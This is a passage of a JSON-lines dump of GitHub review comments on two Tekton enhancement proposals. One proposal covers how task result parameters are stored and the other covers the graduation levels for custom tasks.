\"big\" file could be represented as a result too, using a \"uniquely identifiable hash\" of it, and linking to it for example. Automating this somehow would be nice \u2013 something that could hash the content and \"capture\" some sort of link to where to get the data later and verify it would be super nice.", "comment_id": 735734789, "created_at": "2021-10-25T15:48:33Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "good question? i just grabbed it from the issue. Should I change or remove it?\r\n", "comment_id": 737005410, "created_at": "2021-10-26T23:55:14Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "I'm not entirely sure I understand the use cases enough to document them? is there a way to collaborate on adding that in?", "comment_id": 737005643, "created_at": "2021-10-26T23:55:58Z", "line": 81, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Great points. Added in.", "comment_id": 737007414, "created_at": "2021-10-27T00:00:50Z", "line": 391, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": null, "body": "One more alternative here would be to repurpose the Artifact Storage API that Tekton Pipelines already has in place for `PipelineResources`. It already supports buckets and temporary pvcs, and only requires a one-time configuration by operators, no workspaces involved. It transparently moves data between tasks in a pipeline. It's tailored quite closely to the notion of \"OutputResources\" and \"InputResources\" but I don't think there's a specific reason that it needs to stay that way.\r\n\r\nDocs on setting up storage: https://github.com/tektoncd/pipeline/blob/main/docs/install.md#configuring-pipelineresource-storage\r\nHere's the interface: https://github.com/tektoncd/pipeline/blob/main/pkg/artifacts/artifacts_storage.go#L39-L47", "comment_id": 737616400, "created_at": "2021-10-27T15:53:59Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": null, "body": "> Note that \"big\" file could be represented as a result too, using a \"uniquely identifiable hash\" of it, and linking to it for example. Automating this somehow would be nice \u2013 something that could hash the content and \"capture\" some sort of link to where to get the data later and verify it would be super nice.\r\n\r\nDepending on which way we go with TEP-0060 we could use this there as well. [Mentioned in that tep briefly](https://github.com/tektoncd/community/pull/547/files#diff-5aec90b863359ee289524e8d80aa7c9b22f80d796b22e740691105de994b606fR387-R394).", "comment_id": 737618974, "created_at": "2021-10-27T15:56:49Z", "line": 74, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "skaegi", "body": "Another alternative to consider is to use the stdout or \"logs\" of a dedicated entrypoint sidecar container to return a json result object. In this model the controller would wait until the entrypoint sidecar container exited and then read the logs and append that info to the TaskRun status. Some care needs to be taken as log reading and writing can have races, but this approach is practical and does not mandate granting workloads access to either the API service or some other cluster service.", "comment_id": 745090168, "created_at": "2021-11-08T21:02:27Z", "line": 239, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Hey, @skaegi funny that you mention this. We actually did try a similar concept to this in our workflow project and wrapping a CloudEvent... but we abandoned it for our version of the entry point sidecar sending an API call back to the controller.\r\n\r\nIll add this to the list.", "comment_id": 745451235, "created_at": "2021-11-09T09:50:48Z", "line": 239, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "oooooooooo nice one @skaegi !", "comment_id": 746076099, "created_at": "2021-11-09T21:54:18Z", "line": 239, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Hey @imjasonh do you have thoughts on how this may relate to the implementation?", "comment_id": 746126384, "created_at": "2021-11-09T23:23:53Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Updated to say 'Minimally limits the accidently chance of editing with `kubectl edit cm `'", "comment_id": 748649541, "created_at": "2021-11-13T00:10:15Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "delayed response: sure thing! we can flesh these out later if needed but here's something quick we could add in the meantime:\r\n\r\n```\r\n5. emit structured results, e.g. multiple built image results from a task (see https://github.com/tektoncd/pipeline/issues/4282 for a relevant release pipeline failure, and [TEP-0075](https://github.com/tektoncd/pipeline/issues/4282) and [TEP-0076](https://github.com/tektoncd/community/pull/477) for structured result support) <-- or this could just be part of item (1)\r\n6. The ability to emit [SBOMs](https://en.wikipedia.org/wiki/Software_bill_of_materials) as results from Tasks and make them easily consumable by tools observing execution (e.g. Tekton Chains) without requiring those tools to mount and access volumes\r\n```", "comment_id": 785161637, "created_at": "2022-01-14T20:48:10Z", "line": 81, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "If we write the results to a ConfigMap by default, I think this means by default the controller needs to ship with permissions to modify service account roles and bindings - and I don't think that's a good default for us to have (and we know a number of users won't be able to use this).\r\n\r\nI think we need to find a default that allows us to standardize on a result size but also doesn't require these extra permissions - even if that option has some other downsides.", "comment_id": 785165180, "created_at": "2022-01-14T20:55:35Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "am i right that the sidecar based solution could be combined with some of the other alternatives below? i.e. the sidecar could be responsible for writing to an HTTP service, to a CRD, etc. might be helpful to make it clear which options could work with the sidecar approach", "comment_id": 785165827, "created_at": "2022-01-14T20:56:56Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Updated", "comment_id": 796108716, "created_at": "2022-01-31T22:14:45Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Added", "comment_id": 796110112, "created_at": "2022-01-31T22:17:05Z", "line": 81, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "nice summary of the considerations, thanks @tlawrie !!", "comment_id": 797170064, "created_at": "2022-02-02T00:06:40Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "bobcatfish", "body": "I'm thinking that when we nail down the design, it would make sense for this to be entirely handled by controller configuration and not something that needs to be made explicit at authoring time. Happy to hammer this out in subsequent conversations tho.", "comment_id": 797170548, "created_at": "2022-02-02T00:07:28Z", "line": 261, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "pritidesai", "body": "> I'd like to retain the original goal if possible around large result sets and a pluggable abstracted storage mechanism.\r\n\r\n@tlawrie this use case covers the goal you have specified. I also added it as one of the goals https://github.com/tektoncd/community/pull/521/files#diff-6057e05e8be034edde14ed71128372a35468e25c3f6c9809be8cc8a1e78ada94R70", "comment_id": 845727347, "created_at": "2022-04-08T04:28:22Z", "line": 78, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "jerop", "body": "+1 to the requirement of results being stored in the taskrun", "comment_id": 865908053, "created_at": "2022-05-05T13:30:19Z", "line": 106, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "jerop", "body": "```suggestion\r\n\r\n```", "comment_id": 865909215, "created_at": "2022-05-05T13:31:22Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "```suggestion\r\nThe `byRef` could also be configured and handled by the controller and not something that needs to be made explicit at authoring time.\r\n```", "comment_id": 867808923, "created_at": "2022-05-09T09:21:56Z", "line": null, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": "tlawrie", "body": "Added", "comment_id": 867809549, "created_at": "2022-05-09T09:22:28Z", "line": 261, "path": "teps/0086-changing-the-way-result-parameters-are-stored.md", "pr_number": 521, "repo": "community"} +{"author": null, "body": "If a `CustomTask` services a use case that we simply don't have in dogfooding (e.g. it's designed to execute on a specific kind of infrastructure we don't need or have paid access to), would it be disallowed from graduating to stable even if it meets all the other criteria?", "comment_id": 719364753, "created_at": "2021-09-30T12:41:35Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": null, "body": "Small process nit: in step 2 we are saying that the owners update the existing TEP, which will already be in \"implementable\" / \"implemented\" state from the stable graduation. So here we wouldn't see a change in the status of the TEP when Owners approve the graduation to integrated.\r\n\r\nSuggest adding process step `2.4`: \"change TEP status back from implemeted to proposed\".", "comment_id": 719371251, "created_at": "2021-09-30T12:49:40Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": null, "body": "I think this is a best-case Pro but the worst-case might be the total opposite: folks reviewing TEPs might want a much higher bar and considerably more effort expended before approving a migration directly from experimental to integrated. In other words it could present a dramatically slower process than the one you've proposed. So it could be a Con as well?", "comment_id": 719378669, "created_at": "2021-09-30T12:58:09Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": null, "body": "I agree with the spirit of this Con but not the letter of it: developers can provide high quality, reliable `Custom Tasks` today but Tekton isn't taking steps to validate those things.\r\n\r\nSuggest \"doesn't provide a way to discover `Custom Tasks` whose quality and reliability are validated by Tekton\" or something similar. wdyt?", "comment_id": 719379220, "created_at": "2021-09-30T12:58:43Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "that's a great question -- maybe we can make this a requirement if we have use cases? or that in the TEP, the contributors can justify the exception for that specific custom task?\r\n\r\n@afrittoli, what do you think about this requirement for dogfooding?", "comment_id": 719719957, "created_at": "2021-09-30T20:04:18Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "good catch -- it could be clearer to create a new tep for integrating the custom task and have a reference to the other tep, so each graduation will have its own tep, what do you think?", "comment_id": 719722196, "created_at": "2021-09-30T20:08:14Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "much better phrasing -- updated it, thank you \ud83d\ude01 ", "comment_id": 719740004, "created_at": "2021-09-30T20:38:37Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "great point -- added it as a con \r\n\r\nthank you :) ", "comment_id": 719740478, "created_at": "2021-09-30T20:39:26Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "also, according to the tep process, once a tep is marked as `implemented` it should be *read-only*\r\n\r\nhttps://github.com/tektoncd/community/blob/main/teps/0001-tekton-enhancement-proposal-process.md#tep-workflow", "comment_id": 719743355, "created_at": "2021-09-30T20:44:18Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "so updated it to create a new tep, then we mark the old tep as superseded-by the new tep ", "comment_id": 719772160, "created_at": "2021-09-30T21:11:37Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "added the clarification that dogfooding is only required if we only have use cases for it (more so encouraged) ", "comment_id": 719772798, "created_at": "2021-09-30T21:12:55Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "This requirement is not 100% clear to me, I have a few questions.\n\nDoes this mean adding some syntactic sugar in the API so that it becomes easier for users to use? \n\nDo integrated custom tasks continue to rely on the `Run` CRD? If so, is the intention of the API changes to make that transparent to users?\n\nIn terms of code, does the custom task continue to live in a dedicated repo? Does the ownership move to the entire pipeline team? Is the custom task released together with pipeline ?\n\nWhat kind of backward compatibility we provide. If a custom task becomes integrated, do users have to change their pipelines in order to benefit from the latest versions?\n\nFinally, what level of stability is required for a custom task to have tasks and pipelines that depend on it in our catalog?", "comment_id": 720092795, "created_at": "2021-10-01T09:27:44Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "> This requirement is not 100% clear to me, I have a few questions.\r\n> \r\n\r\nSure, happy to answer them and clarify in the TEP :) \r\n\r\n> 1. Does this mean adding some syntactic sugar in the API so that it becomes easier for users to use?\r\n> \r\n\r\nIt's more than that, it means that the functionality that the `Custom Task` provides is integrated into *Tekton Pipelines*, that is, the functionality is directly / natively supported in the *Tekton Pipelines API* without the `Custom Task` / `Run`\r\n\r\nTaking the example of `Pipelines` in `Pipelines`:\r\n- In *experimental*, users rely on `Runs` and need to install the custom controller \r\n- In *stable*, users rely on `Runs` and need to install the custom controller \r\n- In *integrated*, users don't rely on `Runs` and don't need the custom controller because the *Tekton Pipelines* controller will handle the execution\r\n\r\nThis is how a user specifies `Pipelines` in `Pipelines` :\r\n\r\n```yaml\r\ntasks:\r\n...\r\n- name: approve-slack-build-deploy\r\n runAfter:\r\n - integration-tests\r\n when:\r\n - input: $(params.git-action)\r\n operator: in\r\n values:\r\n - merge\r\n taskRef:\r\n apiVersion: tekton.dev/v1beta1\r\n name: approve-slack-build-deploy\r\n kind: Pipeline\r\n```\r\n\r\nIn graduating to *integrated*, we can explore using the same syntax as is used in *stable* (as @mattmoor suggested in the API WG discussion)\r\n\r\nThen, we can simplify the syntax, such as:\r\n\r\n```yaml\r\ntasks:\r\n...\r\n- name: approve-slack-build-deploy\r\n runAfter:\r\n - integration-tests\r\n when:\r\n - input: $(params.git-action)\r\n operator: in\r\n values:\r\n - merge\r\n pipelineRef:\r\n name: approve-slack-build-deploy\r\n```\r\n\r\n> 2. Do integrated custom tasks continue to rely on the `Run` CRD? If so, is the intention of the API changes to make that transparent to users?\r\n> \r\n\r\nNo, it no longer relies on the `Run` CRD -- it relies on the `Task`, `Pipeline`, `TaskRun` or `PipelineRun` CRDs depending on the functionality, such as, if its an authoring or runtime concern\r\n\r\n> 3. In terms of code, does the custom task continue to live in a dedicated repo? Does the ownership move to the entire pipeline team? Is the custom task released together with pipeline ?\r\n> \r\n\r\nIn the graduation process from *stable* to *integrated*, we propose the `Custom Task` is deprecated in step 3.2 and removed from the dedicated repo in the last step:\r\nhttps://github.com/tektoncd/community/blob/5dfaae796bf8d838fd86eddd62a15f09d38531a8/teps/0087-custom-tasks-graduation.md#L205-L222\r\n\r\n> 4. What kind of backward compatibility we provide. If a custom task becomes integrated, do users have to change their pipelines in order to benefit from the latest versions?\r\n> \r\n\r\nWhen a `Custom Task` is graduating from *stable* to *integrated*, we can require backwards compatibility in the functionality provided by the `Custom Task`, meaning:\r\n- functionality in *stable* is exactly what will be provided when it is *integrated*\r\n- if any changes need to be made based on user feedback, then it should be made in *stable* beforehand\r\n\r\nRegarding the backwards compatibility in syntax, we can take the approach discussed in response to question 1 above\r\n\r\n> 5. Finally, what level of stability is required for a custom task to have tasks and pipelines that depend on it in our catalog?\r\n\r\n*stable* would be the level that we require for `Tasks` and `Pipelines` in the *Tekton Catalog* given its stability guarantees, what do you think? We can apply the same requirement for `Custom Tasks` support in the *Tekton Dashboard* (https://github.com/tektoncd/dashboard/issues/1970) and *Tekton CLI*", "comment_id": 720410165, "created_at": "2021-10-01T17:09:27Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "afrittoli", "body": "> > This requirement is not 100% clear to me, I have a few questions.\r\n> \r\n> Sure, happy to answer them and clarify in the TEP :)\r\n> \r\n> > 1. Does this mean adding some syntactic sugar in the API so that it becomes easier for users to use?\r\n> \r\n> It's more than that, it means that the functionality that the `Custom Task` provides is integrated into _Tekton Pipelines_, that is, the functionality is directly / natively supported in the _Tekton Pipelines API_ without the `Custom Task` / `Run`\r\n\r\nI think what is important for an end user is the level of support they get for a certain feature. My list of requirements for integrated would be something like:\r\n- when tekton is installed (via release file, operator) the feature is available with no extra step\r\n- every new major / minor release of Tekton includes the feature - if an urgent fix is required for the feature, a new minor release of the entire Tekton pipeline is made\r\n- the code is owned by the `tektoncd/pipeline` maintainer team\r\n\r\nOther aspects like:\r\n- the feature is managed by one of the existing controllers\r\n- no extra CRD is needed\r\n\r\nseems nice to have but I'm not convinced they should be hard requirements for the feature to be considered integrated.\r\n\r\nBesides, for `Tasks` things like `Pipeline` and `Loop` ones, having `Run` seems like a nice thing, since the `Run` is the one resource where we can see params / results associated with \"group\" of `Tasks` and track the overall condition for the \"group\". \r\nWe could do that in the original `PipelineRun` too, but what if we had a `Pipeline` that runs a `Pipeline` that runs a `TaskLoop` that runs a `Pipeline`? It can get too large to handle in the status of the original `PIpelineRun`.\r\n\r\n> \r\n> Taking the example of `Pipelines` in `Pipelines`:\r\n> \r\n> * In _stable_, users rely on `Runs` and need to install the custom controller\r\n> * In _stable_, users rely on `Runs` and need to install the custom controller\r\n> * In _integrated_, users don't rely on `Runs` and don't need the custom controller because the _Tekton Pipelines_ controller will handle the execution\r\n> \r\n> This is how a user specifies `Pipelines` in `Pipelines` :\r\n> \r\n> ```yaml\r\n> tasks:\r\n> ...\r\n> - name: approve-slack-build-deploy\r\n> runAfter:\r\n> - integration-tests\r\n> when:\r\n> - input: $(params.git-action)\r\n> operator: in\r\n> values:\r\n> - merge\r\n> taskRef:\r\n> apiVersion: tekton.dev/v1beta1\r\n> name: approve-slack-build-deploy\r\n> kind: Pipeline\r\n> ```\r\n\r\nI think `Pipeline` is a bit of a special case of custom task, because it does not require an extra CRD, since `Pipeline` is already known to Tekton. Perhaps it would be good to include some examples using `TaskLoop` as well.\r\n\r\n> \r\n> In graduating to _integrated_, we can explore using the same syntax as is used in _stable_ (as @mattmoor suggested in the API WG discussion)\r\n> \r\n> Then, we can simplify the syntax, such as:\r\n> \r\n> ```yaml\r\n> tasks:\r\n> ...\r\n> - name: approve-slack-build-deploy\r\n> runAfter:\r\n> - integration-tests\r\n> when:\r\n> - input: $(params.git-action)\r\n> operator: in\r\n> values:\r\n> - merge\r\n> pipelineRef:\r\n> name: approve-slack-build-deploy\r\n> ```\r\n> \r\n> > 1. Do integrated custom tasks continue to rely on the `Run` CRD? If so, is the intention of the API changes to make that transparent to users?\r\n> \r\n> No, it no longer relies on the `Run` CRD -- it relies on the `Task`, `Pipeline`, `TaskRun` or `PipelineRun` CRDs depending on the functionality, such as, if its an authoring or runtime concern\r\n> \r\n> > 1. In terms of code, does the custom task continue to live in a dedicated repo? Does the ownership move to the entire pipeline team? Is the custom task released together with pipeline ?\r\n> \r\n> In the graduation process from _stable_ to _integrated_, we propose the `Custom Task` is deprecated in step 3.2 and removed from the dedicated repo in the last step:\r\n\r\nIs the intention that an integrated `CustomTask` becomes part of the stable API right away? If not, perhaps we should deprecate the stable custom task only once the integrated one is at least beta?\r\nThat said, we continued using `Run` for integrated tasks - at least in the beginning - it would make the process smoother:\r\n- there would be no API change in the beginning, so the feature is added an is available as long as \"Using CustomTasks in Pipeline\" is enabled (currently alpha, we should bring it to beta?)\r\n- when we introduce API sugar on top, we can do that as an alpha API change first, and then progress it to beta / stable as usual \r\n\r\n> \r\n> https://github.com/tektoncd/community/blob/5dfaae796bf8d838fd86eddd62a15f09d38531a8/teps/0087-custom-tasks-graduation.md#L205-L222\r\n> \r\n> > 1. What kind of backward compatibility we provide. If a custom task becomes integrated, do users have to change their pipelines in order to benefit from the latest versions?\r\n> \r\n> When a `Custom Task` is graduating from _stable_ to _integrated_, we can require backwards compatibility in the functionality provided by the `Custom Task`, meaning:\r\n> \r\n> * functionality in _stable_ is exactly what will be provided when it is _integrated_\r\n> * if any changes need to be made based on user feedback, then it should be made in _stable_ beforehand\r\n> \r\n> Regarding the backwards compatibility in syntax, we can take the approach discussed in response to question 1 above\r\n> \r\n> > 1. Finally, what level of stability is required for a custom task to have tasks and pipelines that depend on it in our catalog?\r\n> \r\n> _stable_ would be the level that we require for `Tasks` and `Pipelines` in the _Tekton Catalog_ given its stability guarantees, what do you think? We can apply the same requirement for `Custom Tasks` support in the _Tekton Dashboard_ ([tektoncd/dashboard#1970](https://github.com/tektoncd/dashboard/issues/1970)) and _Tekton CLI_\r\n\r\n", "comment_id": 723083762, "created_at": "2021-10-06T09:59:48Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "thank you for the detailed response @afrittoli!!\r\n\r\ni've added another stability level - *packaged* - that is between *stable* and *integrated* to make the graduation smoother (shout out to @sbwsg for the idea \ud83c\udf89 )\r\n\r\n> I think what is important for an end user is the level of support they get for a certain feature. My list of requirements for integrated would be something like:\r\n> - when tekton is installed (via release file, operator) the feature is available with no extra step\r\n> - every new major / minor release of Tekton includes the feature - if an urgent fix is required for the feature, a new minor release of the entire Tekton pipeline is made\r\n> - the code is owned by the tektoncd/pipeline maintainer team\r\n\r\nincorporated these requirements to *packaged* stability level\r\n\r\n> Is the intention that an integrated `Custom Task` becomes part of the stable API right away? \r\n\r\nNo, they are part of the alpha API \r\n\r\n> If not, perhaps we should deprecate the stable custom task only once the integrated one is at least beta?\r\n\r\nYes, that's step 4 of the graduation process from *packaged* to *integrated*\r\n", "comment_id": 724595376, "created_at": "2021-10-07T23:13:23Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "not only can they change but also they aren't reviewed via TEP so there could pretty much be anything in there (e.g. no guarantees that they match the direction the community wants the project to go or that they meet our project standards)", "comment_id": 725142686, "created_at": "2021-10-08T16:15:32Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "might make sense to reference the existing requirements as well: https://github.com/tektoncd/community/blob/main/process.md#proposing-projects", "comment_id": 725146449, "created_at": "2021-10-08T16:21:03Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "this would be a slight change - at the moment 2 governing board members need to approve i think? https://github.com/tektoncd/community/blob/main/process.md#proposing-projects", "comment_id": 725146875, "created_at": "2021-10-08T16:21:42Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "i kinda like the name \"extensions\" but at the same time i feel like \"extensions\" could mean a lot of things and i bet we'll end up saying something like \"the extensions repo contains stable custom tasks\" a lot\r\n\r\nim wondering if would make sense to call it `tektoncd/custom-tasks`? (or do we plan to put other custom tasks in there?)\r\n\r\nan alternative would be to start actually referring to \"custom tasks\" as \"extensions\" \ud83e\udd14 ", "comment_id": 725147841, "created_at": "2021-10-08T16:23:12Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "i think we might want to require a TEP _before_ it meets some of these criteria - it could be very frustrating to have this level of examples and docs, only to propose a TEP and find out that the community wants to radically change the custom task\r\n\r\nand i think we also want to make sure that the custom task path isn't a way to make API decisions without getting community feedback - if we leave that feedback until too late in the process it will be very hard to make changes", "comment_id": 725149112, "created_at": "2021-10-08T16:25:03Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "i think we might have some alternatives for the \"packaged\" option as well, besides packaging them in the pipelines release e.g.:\r\n- a distribution of tekton that includes pipelines + these tasks + maybe even components like triggers + results?\r\n- the operator recognizes and manages them\r\n\r\n(i think i like the pipelines release option best tho!)", "comment_id": 725150347, "created_at": "2021-10-08T16:27:09Z", "line": 390, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "these \"widely adopted\" criteria give me pause - esp in the context of loops and pipelines in pipelines (which im hoping we can add before v1? maybe we already have this info for those features via kubeflow's work?). i think we have historically had a hard time getting a sense of what people are actually using; and it also takes a very long time to get this information\r\n\r\ni wonder if it could be enough to say that the pipelines owners (or whoever the approvers are) agree it makes sense", "comment_id": 725152352, "created_at": "2021-10-08T16:30:14Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "added it to the the summary above and motivation below ", "comment_id": 727169490, "created_at": "2021-10-12T14:02:11Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "added \ud83d\udc4d\ud83c\udffe ", "comment_id": 727173318, "created_at": "2021-10-12T14:06:21Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "that's right, updated it to require approval from governance board to make it consistent\r\n", "comment_id": 727175748, "created_at": "2021-10-12T14:08:55Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "> i kinda like the name \"extensions\" but at the same time i feel like \"extensions\" could mean a lot of things and i bet we'll end up saying something like \"the extensions repo contains stable custom tasks\" a lot\r\n> im wondering if would make sense to call it `tektoncd/custom-tasks`? (or do we plan to put other custom tasks in there?)\r\n> \r\n\r\nmakes sense, updated it to `tektoncd/custom-tasks`\r\n\r\n> an alternative would be to start actually referring to \"custom tasks\" as \"extensions\" \ud83e\udd14\r\n\r\nwe may later on provide another way to create `extensions` beyond `custom tasks`, so let's stick with `custom tasks` to be specific \r\n\r\n", "comment_id": 727179459, "created_at": "2021-10-12T14:12:42Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "makes sense to put in that effort into docs and examples after a TEP review, for that we have two options:\r\n\r\n1. make it a requirement for *packaged* `custom tasks`, however I'd prefer that *stable* `custom tasks` have detailed docs and examples\r\n1. make it a post-graduation expectation for *stable* `custom tasks`, allowing us to review first in a TEP while still enforcing standards for stable \r\n\r\nI've updated the TEP with option 2 above, and added post-graduation expectations for other stability levels as well", "comment_id": 727209307, "created_at": "2021-10-12T14:42:13Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "sure, updated that requirement to:\r\n\r\n\"*Tekton Pipelines* owners agree that its functionality should be natively supported in the *Tekton Pipelines* API.\"", "comment_id": 727213955, "created_at": "2021-10-12T14:46:57Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "added them to the alternatives, thank you! \ud83d\ude03 ", "comment_id": 727240395, "created_at": "2021-10-12T15:13:21Z", "line": 390, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "total side note but i bet we could propose this pretty soon and I'm guessing folks would approve? esp with projects like kubeflow depending on custom tasks so heavily :D", "comment_id": 727486371, "created_at": "2021-10-12T20:37:57Z", "line": 120, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "nit - im not sure what \"possibly integrate them means\" - integrate into what? im guessing into the pipelines API?", "comment_id": 727486678, "created_at": "2021-10-12T20:38:28Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "maybe this is a silly question but can \"stable custom tasks\" go beyond beta? e.g. be considered 1.0/GA", "comment_id": 727487420, "created_at": "2021-10-12T20:39:47Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "still fixating on this - i think we should explicitly recommend creating a TEP as early on as possible in this process - i.e. if someone intends to bring their experimental custom task to stable, i think they should prioritize getting the TEP approved above working on testing and releases", "comment_id": 727488355, "created_at": "2021-10-12T20:41:13Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "bobcatfish", "body": "might make sense to mention [conformance](https://github.com/tektoncd/community/blob/main/design-principles.md#conformance) here too? i think this our conformance principles have a big impact on this approach", "comment_id": 727490030, "created_at": "2021-10-12T20:43:52Z", "line": 347, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "clarified, thanks! ", "comment_id": 728459716, "created_at": "2021-10-13T21:27:05Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "yes, recently discussed the promotion with @pritidesai and @afrittoli\r\n\r\nopened an issue for it in https://github.com/tektoncd/pipeline/issues/4313\r\n\r\nwe'll discuss more in the next API WG and open a TEP soon! ", "comment_id": 728466509, "created_at": "2021-10-13T21:38:59Z", "line": 120, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "yes yes, but can we explore that later when we've defined what 1.0/GA means to Tekton and when we have Tekton Pipelines in 1.0/GA (I think it makes sense to offer that stability level in the custom tasks only when it's available in Tekton Pipelines)", "comment_id": 728470283, "created_at": "2021-10-13T21:45:52Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "added a note in the TEP about this ", "comment_id": 729428309, "created_at": "2021-10-15T00:01:08Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "makes sense, updated the TEP to focus on creating the TEP and focus on that throughout the process ", "comment_id": 729428595, "created_at": "2021-10-15T00:01:59Z", "line": null, "path": "teps/0087-custom-tasks-graduation.md", "pr_number": 523, "repo": "community"} +{"author": "jerop", "body": "good point, added that! ", 